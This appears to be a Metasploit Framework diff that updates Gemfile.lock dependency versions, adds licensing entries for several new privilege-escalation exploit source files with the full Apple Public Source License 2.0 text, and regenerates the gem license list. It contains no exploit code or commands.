rex-rop_builder (0.1.4)
metasm
rex-core
rex-text
rex-socket (0.1.43)
rex-socket (0.1.47)
rex-core
rex-sslscan (0.1.8)
rex-sslscan (0.1.9)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.47)
rex-text (0.2.50)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -391,12 +397,12 @@ GEM
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.0)
rspec-core (3.12.1)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.0)
rspec-expectations (3.12.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.0)
rspec-mocks (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
@@ -410,24 +416,24 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.12.0)
rubocop (1.39.0)
rubocop (1.48.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
parser (>= 3.2.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.23.0, < 2.0)
rubocop-ast (>= 1.26.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.24.0)
parser (>= 3.1.1.0)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.27.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.1)
ruby_smb (3.2.5)
bindata
openssl-ccm
openssl-cmac
@@ -444,32 +450,33 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.4)
sinatra (3.0.5)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.4)
rack-protection (= 3.0.5)
tilt (~> 2.0)
sqlite3 (1.5.4)
sqlite3 (1.6.1)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
thin (1.8.1)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.11)
tilt (2.1.0)
timecop (0.9.6)
timeout (0.3.1)
timeout (0.3.2)
ttfunk (1.7.0)
tzinfo (2.0.5)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.3.0)
unicode-display_width (2.4.2)
unix-crypt (1.3.0)
warden (1.2.9)
rack (>= 2.0.9)
@@ -478,7 +485,7 @@ GEM
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
windows_error (0.1.4)
windows_error (0.1.5)
winrm (2.3.6)
builder (>= 2.1.2)
erubi (~> 1.8)
@@ -495,7 +502,7 @@ GEM
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.6)
zeitwerk (2.6.7)
PLATFORMS
ruby
@@ -507,7 +514,7 @@ DEPENDENCIES
memory_profiler
metasploit-framework!
octokit
pry-byebug (~> 3.9.0)
pry-byebug
rake
redcarpet
rspec-rails
+394 -4
View File
@@ -57,6 +57,20 @@ Copyright: 2018
License: GNU GPL 3
Purpose: This supports exploits/windows/local/ms18_8120_win32k_privesc module
Files: external/source/exploits/CVE-2022-1043/cve-2022-1043.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-1043, a local privilege escalation vulnerability in
Linux kernels 5.12-rc3 - 5.14-rc7.
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-22942, a local privilege escalation vulnerability in
Linux kernels 4.14-rc1 - 5.17-rc1.
Files: exteneral/source/exploits/CVE-2022-26904/*
Copyright: 2022 Abdelhamid Naceri
License: MIT
@@ -121,6 +135,13 @@ Purpose: The built result is used in:
payloads/stages/windows/vncinject.rb
payloads/stages/windows/x64/vncinject.rb
Files: external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c
Copyright: 1999-2007 Apple Inc.
License: Apple
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-46689, a local privilege escalation vulnerability in
MacOSX versions (macOS dirty cow)
Files: lib/anemone.rb
lib/anemone/*
Copyright: 2009 Vertive, Inc.
@@ -131,7 +152,7 @@ Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
Copyright: 2016-2023 Andrew Svetlov
License: Apache 2.0
Files: lib/msf/core/web_services/public/*
@@ -206,7 +227,7 @@ Purpose: This module contains the source code for FUSE, which this module
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Copyright: 2017
License: GPLv2
Purpose: The Ruby file contains the text of several modules from exploit-db
Purpose: The Ruby file contains the text of several modules from exploit-db
which it compiles and uploads to the target to elevate privileges.
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
@@ -218,7 +239,7 @@ Purpose: This module targets a vulnerability in Metasploit Framework versions
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
Copyright: 2004, Solar Eclipse
License: GPL
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
module.
@@ -234,7 +255,7 @@ Purpose: This module allows us to create an x64 Windows messagebox payload.
Files: modules/post/linux/dos/xen_420_dos.rb
Copyright: 2016
License: GPL
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
paravirtualized VM. It contains a short code section licensed through
GPL.
@@ -998,3 +1019,372 @@ License: Zlib
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
License: Apple
APPLE PUBLIC SOURCE LICENSE
Version 2.0 - August 6, 2003
Please read this License carefully before downloading this software.
By downloading or using this software, you are agreeing to be bound by
the terms of this License. If you do not or cannot agree to the terms
of this License, please do not download or use the software.
1. General; Definitions. This License applies to any program or other
work which Apple Computer, Inc. ("Apple") makes publicly available and
which contains a notice placed by Apple identifying such program or
work as "Original Code" and stating that it is subject to the terms of
this Apple Public Source License version 2.0 ("License"). As used in
this License:
1.1 "Applicable Patent Rights" mean: (a) in the case where Apple is
the grantor of rights, (i) claims of patents that are now or hereafter
acquired, owned by or assigned to Apple and (ii) that cover subject
matter contained in the Original Code, but only to the extent
necessary to use, reproduce and/or distribute the Original Code
without infringement; and (b) in the case where You are the grantor of
rights, (i) claims of patents that are now or hereafter acquired,
owned by or assigned to You and (ii) that cover subject matter in Your
Modifications, taken alone or in combination with Original Code.
1.2 "Contributor" means any person or entity that creates or
contributes to the creation of Modifications.
1.3 "Covered Code" means the Original Code, Modifications, the
combination of Original Code and any Modifications, and/or any
respective portions thereof.
1.4 "Externally Deploy" means: (a) to sublicense, distribute or
otherwise make Covered Code available, directly or indirectly, to
anyone other than You; and/or (b) to use Covered Code, alone or as
part of a Larger Work, in any way to provide a service, including but
not limited to delivery of content, through electronic communication
with a client other than You.
1.5 "Larger Work" means a work which combines Covered Code or portions
thereof with code not governed by the terms of this License.
1.6 "Modifications" mean any addition to, deletion from, and/or change
to, the substance and/or structure of the Original Code, any previous
Modifications, the combination of Original Code and any previous
Modifications, and/or any respective portions thereof. When code is
released as a series of files, a Modification is: (a) any addition to
or deletion from the contents of a file containing Covered Code;
and/or (b) any new file or other representation of computer program
statements that contains any part of Covered Code.
1.7 "Original Code" means (a) the Source Code of a program or other
work as originally made available by Apple under this License,
including the Source Code of any updates or upgrades to such programs
or works made available by Apple under this License, and that has been
expressly identified by Apple as such in the header file(s) of such
work; and (b) the object code compiled from such Source Code and
originally made available by Apple under this License.
1.8 "Source Code" means the human readable form of a program or other
work that is suitable for making modifications to it, including all
modules it contains, plus any associated interface definition files,
scripts used to control compilation and installation of an executable
(object code).
1.9 "You" or "Your" means an individual or a legal entity exercising
rights under this License. For legal entities, "You" or "Your"
includes any entity which controls, is controlled by, or is under
common control with, You, where "control" means (a) the power, direct
or indirect, to cause the direction or management of such entity,
whether by contract or otherwise, or (b) ownership of fifty percent
(50%) or more of the outstanding shares or beneficial ownership of
such entity.
2. Permitted Uses; Conditions & Restrictions. Subject to the terms
and conditions of this License, Apple hereby grants You, effective on
the date You accept this License and download the Original Code, a
world-wide, royalty-free, non-exclusive license, to the extent of
Apple's Applicable Patent Rights and copyrights covering the Original
Code, to do the following:
2.1 Unmodified Code. You may use, reproduce, display, perform,
internally distribute within Your organization, and Externally Deploy
verbatim, unmodified copies of the Original Code, for commercial or
non-commercial purposes, provided that in each instance:
(a) You must retain and reproduce in all copies of Original Code the
copyright and other proprietary notices and disclaimers of Apple as
they appear in the Original Code, and keep intact all notices in the
Original Code that refer to this License; and
(b) You must include a copy of this License with every copy of Source
Code of Covered Code and documentation You distribute or Externally
Deploy, and You may not offer or impose any terms on such Source Code
that alter or restrict this License or the recipients' rights
hereunder, except as permitted under Section 6.
2.2 Modified Code. You may modify Covered Code and use, reproduce,
display, perform, internally distribute within Your organization, and
Externally Deploy Your Modifications and Covered Code, for commercial
or non-commercial purposes, provided that in each instance You also
meet all of these conditions:
(a) You must satisfy all the conditions of Section 2.1 with respect to
the Source Code of the Covered Code;
(b) You must duplicate, to the extent it does not already exist, the
notice in Exhibit A in each file of the Source Code of all Your
Modifications, and cause the modified files to carry prominent notices
stating that You changed the files and the date of any change; and
(c) If You Externally Deploy Your Modifications, You must make
Source Code of all Your Externally Deployed Modifications either
available to those to whom You have Externally Deployed Your
Modifications, or publicly available. Source Code of Your Externally
Deployed Modifications must be released under the terms set forth in
this License, including the license grants set forth in Section 3
below, for as long as you Externally Deploy the Covered Code or twelve
(12) months from the date of initial External Deployment, whichever is
longer. You should preferably distribute the Source Code of Your
Externally Deployed Modifications electronically (e.g. download from a
web site).
2.3 Distribution of Executable Versions. In addition, if You
Externally Deploy Covered Code (Original Code and/or Modifications) in
object code, executable form only, You must include a prominent
notice, in the code itself as well as in related documentation,
stating that Source Code of the Covered Code is available under the
terms of this License with information on how and where to obtain such
Source Code.
2.4 Third Party Rights. You expressly acknowledge and agree that
although Apple and each Contributor grants the licenses to their
respective portions of the Covered Code set forth herein, no
assurances are provided by Apple or any Contributor that the Covered
Code does not infringe the patent or other intellectual property
rights of any other entity. Apple and each Contributor disclaim any
liability to You for claims brought by any other entity based on
infringement of intellectual property rights or otherwise. As a
condition to exercising the rights and licenses granted hereunder, You
hereby assume sole responsibility to secure any other intellectual
property rights needed, if any. For example, if a third party patent
license is required to allow You to distribute the Covered Code, it is
Your responsibility to acquire that license before distributing the
Covered Code.
3. Your Grants. In consideration of, and as a condition to, the
licenses granted to You under this License, You hereby grant to any
person or entity receiving or distributing Covered Code under this
License a non-exclusive, royalty-free, perpetual, irrevocable license,
under Your Applicable Patent Rights and other intellectual property
rights (other than patent) owned or controlled by You, to use,
reproduce, display, perform, modify, sublicense, distribute and
Externally Deploy Your Modifications of the same scope and extent as
Apple's licenses under Sections 2.1 and 2.2 above.
4. Larger Works. You may create a Larger Work by combining Covered
Code with other code not governed by the terms of this License and
distribute the Larger Work as a single product. In each such instance,
You must make sure the requirements of this License are fulfilled for
the Covered Code or any portion thereof.
5. Limitations on Patent License. Except as expressly stated in
Section 2, no other patent rights, express or implied, are granted by
Apple herein. Modifications and/or Larger Works may require additional
patent licenses from Apple which Apple may grant in its sole
discretion.
6. Additional Terms. You may choose to offer, and to charge a fee for,
warranty, support, indemnity or liability obligations and/or other
rights consistent with the scope of the license granted herein
("Additional Terms") to one or more recipients of Covered Code.
However, You may do so only on Your own behalf and as Your sole
responsibility, and not on behalf of Apple or any Contributor. You
must obtain the recipient's agreement that any such Additional Terms
are offered by You alone, and You hereby agree to indemnify, defend
and hold Apple and every Contributor harmless for any liability
incurred by or claims asserted against Apple or such Contributor by
reason of any such Additional Terms.
7. Versions of the License. Apple may publish revised and/or new
versions of this License from time to time. Each version will be given
a distinguishing version number. Once Original Code has been published
under a particular version of this License, You may continue to use it
under the terms of that version. You may also choose to use such
Original Code under the terms of any subsequent version of this
License published by Apple. No one other than Apple has the right to
modify the terms applicable to Covered Code created under this
License.
8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in
part pre-release, untested, or not fully tested works. The Covered
Code may contain errors that could cause failures or loss of data, and
may be incomplete or contain inaccuracies. You expressly acknowledge
and agree that use of the Covered Code, or any portion thereof, is at
Your sole and entire risk. THE COVERED CODE IS PROVIDED "AS IS" AND
WITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND
APPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS "APPLE" FOR THE
PURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM
ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT
NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
PARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST
INTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE
FUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS,
THAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR
ERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO
ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE
AUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY.
You acknowledge that the Covered Code is not intended for use in the
operation of nuclear facilities, aircraft navigation, communication
systems, or air traffic control machines in which case the failure of
the Covered Code could lead to death, personal injury, or severe
physical or environmental damage.
9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO
EVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL,
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING
TO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR
ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY,
TORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF
APPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY
REMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF
INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY
TO YOU. In no event shall Apple's total liability to You for all
damages (other than as may be required by applicable law) under this
License exceed the amount of fifty dollars ($50.00).
10. Trademarks. This License does not grant any rights to use the
trademarks or trade names "Apple", "Apple Computer", "Mac", "Mac OS",
"QuickTime", "QuickTime Streaming Server" or any other trademarks,
service marks, logos or trade names belonging to Apple (collectively
"Apple Marks") or to any trademark, service mark, logo or trade name
belonging to any Contributor. You agree not to use any Apple Marks in
or as part of the name of products derived from the Original Code or
to endorse or promote products derived from the Original Code other
than as expressly permitted by and in strict compliance at all times
with Apple's third party trademark usage guidelines which are posted
at http://www.apple.com/legal/guidelinesfor3rdparties.html.
11. Ownership. Subject to the licenses granted under this License,
each Contributor retains all rights, title and interest in and to any
Modifications made by such Contributor. Apple retains all rights,
title and interest in and to the Original Code and any Modifications
made by or on behalf of Apple ("Apple Modifications"), and such Apple
Modifications will not be automatically subject to this License. Apple
may, at its sole discretion, choose to license such Apple
Modifications under this License, or on different terms from those
contained in this License or may choose not to license them at all.
12. Termination.
12.1 Termination. This License and the rights granted hereunder will
terminate:
(a) automatically without notice from Apple if You fail to comply with
any term(s) of this License and fail to cure such breach within 30
days of becoming aware of such breach;
(b) immediately in the event of the circumstances described in Section
13.5(b); or
(c) automatically without notice from Apple if You, at any time during
the term of this License, commence an action for patent infringement
against Apple; provided that Apple did not first commence
an action for patent infringement against You in that instance.
12.2 Effect of Termination. Upon termination, You agree to immediately
stop any further use, reproduction, modification, sublicensing and
distribution of the Covered Code. All sublicenses to the Covered Code
which have been properly granted prior to termination shall survive
any termination of this License. Provisions which, by their nature,
should remain in effect beyond the termination of this License shall
survive, including but not limited to Sections 3, 5, 8, 9, 10, 11,
12.2 and 13. No party will be liable to any other for compensation,
indemnity or damages of any sort solely as a result of terminating
this License in accordance with its terms, and termination of this
License will be without prejudice to any other right or remedy of
any party.
13. Miscellaneous.
13.1 Government End Users. The Covered Code is a "commercial item" as
defined in FAR 2.101. Government software and technical data rights in
the Covered Code include only those rights customarily provided to the
public as defined in this License. This customary commercial license
in technical data and software is provided in accordance with FAR
12.211 (Technical Data) and 12.212 (Computer Software) and, for
Department of Defense purchases, DFAR 252.227-7015 (Technical Data --
Commercial Items) and 227.7202-3 (Rights in Commercial Computer
Software or Computer Software Documentation). Accordingly, all U.S.
Government End Users acquire Covered Code with only those rights set
forth herein.
13.2 Relationship of Parties. This License will not be construed as
creating an agency, partnership, joint venture or any other form of
legal association between or among You, Apple or any Contributor, and
You will not represent to the contrary, whether expressly, by
implication, appearance or otherwise.
13.3 Independent Development. Nothing in this License will impair
Apple's right to acquire, license, develop, have others develop for
it, market and/or distribute technology or products that perform the
same or similar functions as, or otherwise compete with,
Modifications, Larger Works, technology or products that You may
develop, produce, market or distribute.
13.4 Waiver; Construction. Failure by Apple or any Contributor to
enforce any provision of this License will not be deemed a waiver of
future enforcement of that or any other provision. Any law or
regulation which provides that the language of a contract shall be
construed against the drafter will not apply to this License.
13.5 Severability. (a) If for any reason a court of competent
jurisdiction finds any provision of this License, or portion thereof,
to be unenforceable, that provision of the License will be enforced to
the maximum extent permissible so as to effect the economic benefits
and intent of the parties, and the remainder of this License will
continue in full force and effect. (b) Notwithstanding the foregoing,
if applicable law prohibits or restricts You from fully and/or
specifically complying with Sections 2 and/or 3 or prevents the
enforceability of either of those Sections, this License will
immediately terminate and You must immediately discontinue any use of
the Covered Code and destroy all copies of it that are in your
possession or control.
13.6 Dispute Resolution. Any litigation or other dispute resolution
between You and Apple relating to this License shall take place in the
Northern District of California, and You and Apple hereby consent to
the personal jurisdiction of, and venue in, the state and federal
courts within that District with respect to this License. The
application of the United Nations Convention on Contracts for the
International Sale of Goods is expressly excluded.
13.7 Entire Agreement; Governing Law. This License constitutes the
entire agreement between the parties with respect to the subject
matter hereof. This License shall be governed by the laws of the
United States and the State of California, except that body of
California law concerning conflicts of law.
Where You are located in the province of Quebec, Canada, the following
clause applies: The parties hereby confirm that they have requested
that this License and all related documents be drafted in English. Les
parties ont exige que le present contrat et tous les documents
connexes soient rediges en anglais.
EXHIBIT A.
"Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights
Reserved.
This file contains Original Code and/or Modifications of Original Code
as defined in and that are subject to the Apple Public Source License
Version 2.0 (the 'License'). You may not use this file except in
compliance with the License. Please obtain a copy of the License at
http://www.opensource.apple.com/apsl/ and read it before using this
file.
The Original Code and all software distributed under the License are
distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
Please see the License for the specific language governing rights and
limitations under the License."
+71 -68
View File
@@ -1,35 +1,36 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.7, MIT
actionview, 6.1.7, MIT
activemodel, 6.1.7, MIT
activerecord, 6.1.7, MIT
activesupport, 6.1.7, MIT
actionpack, 7.0.4.2, MIT
actionview, 7.0.4.2, MIT
activemodel, 7.0.4.2, MIT
activerecord, 7.0.4.2, MIT
activesupport, 7.0.4.2, MIT
addressable, 2.8.1, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.671.0, "Apache 2.0"
aws-sdk-core, 3.168.3, "Apache 2.0"
aws-sdk-ec2, 1.354.0, "Apache 2.0"
aws-sdk-iam, 1.73.0, "Apache 2.0"
aws-sdk-kms, 1.60.0, "Apache 2.0"
aws-sdk-s3, 1.117.2, "Apache 2.0"
aws-partitions, 1.722.0, "Apache 2.0"
aws-sdk-core, 3.170.0, "Apache 2.0"
aws-sdk-ec2, 1.368.0, "Apache 2.0"
aws-sdk-iam, 1.75.0, "Apache 2.0"
aws-sdk-kms, 1.63.0, "Apache 2.0"
aws-sdk-s3, 1.119.1, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.14, ruby
bindata, 2.4.15, "Simplified BSD"
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
byebug, 11.1.3, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.1.10, MIT
concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.7.0, "ruby, Simplified BSD"
debug, 1.7.1, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.9, "Apache 2.0"
docile, 1.4.0, MIT
@@ -37,14 +38,14 @@ domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.11.0, MIT
erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.0.0, MIT
faraday, 2.7.1, MIT
faker, 3.1.1, MIT
faraday, 2.7.4, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
faraday-retry, 2.1.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
@@ -58,39 +59,39 @@ http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.6.1, "ruby, Simplified BSD"
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.6.3, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.19.0, MIT
loofah, 2.19.1, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 6.0.1, "New BSD"
metasploit-framework, 6.2.34, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.105, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.6, "New BSD"
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.9, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.122, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.16.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.6.0, "Apache 2.0"
mini_portile2, 2.8.1, MIT
minitest, 5.18.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.2.0, "ruby, Simplified BSD"
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.13.10, MIT
nokogiri, 1.14.2, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
@@ -98,94 +99,96 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
parser, 3.1.3.0, MIT
parser, 3.2.1.1, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.4.5, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 5.0.0, MIT
puma, 6.0.0, "New BSD"
racc, 1.6.1, "ruby, Simplified BSD"
rack, 2.2.4, MIT
rack-protection, 3.0.4, MIT
pg, 1.4.6, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.1.1, "New BSD"
racc, 1.6.2, "ruby, Simplified BSD"
rack, 2.2.6.3, MIT
rack-protection, 3.0.5, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.7, MIT
rails-html-sanitizer, 1.5.0, MIT
railties, 7.0.4.2, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 3.0.3, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.6.1, MIT
reline, 0.3.1, ruby
redcarpet, 3.6.0, MIT
regexp_parser, 2.7.0, MIT
reline, 0.3.2, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-core, 0.1.30, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.36, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.9, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.43, "New BSD"
rex-sslscan, 0.1.8, "New BSD"
rex-socket, 0.1.47, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.47, "New BSD"
rex-text, 0.2.50, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.0, MIT
rspec-expectations, 3.12.0, MIT
rspec-mocks, 3.12.0, MIT
rspec-core, 3.12.1, MIT
rspec-expectations, 3.12.2, MIT
rspec-mocks, 3.12.3, MIT
rspec-rails, 6.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.39.0, MIT
rubocop-ast, 1.24.0, MIT
rubocop, 1.48.0, MIT
rubocop-ast, 1.27.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.1, "New BSD"
ruby_smb, 3.2.5, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.4, MIT
sqlite3, 1.5.4, "New BSD"
sinatra, 3.0.5, MIT
sqlite3, 1.6.1, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.0.11, MIT
tilt, 2.1.0, MIT
timecop, 0.9.6, MIT
timeout, 0.3.1, "ruby, Simplified BSD"
timeout, 0.3.2, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
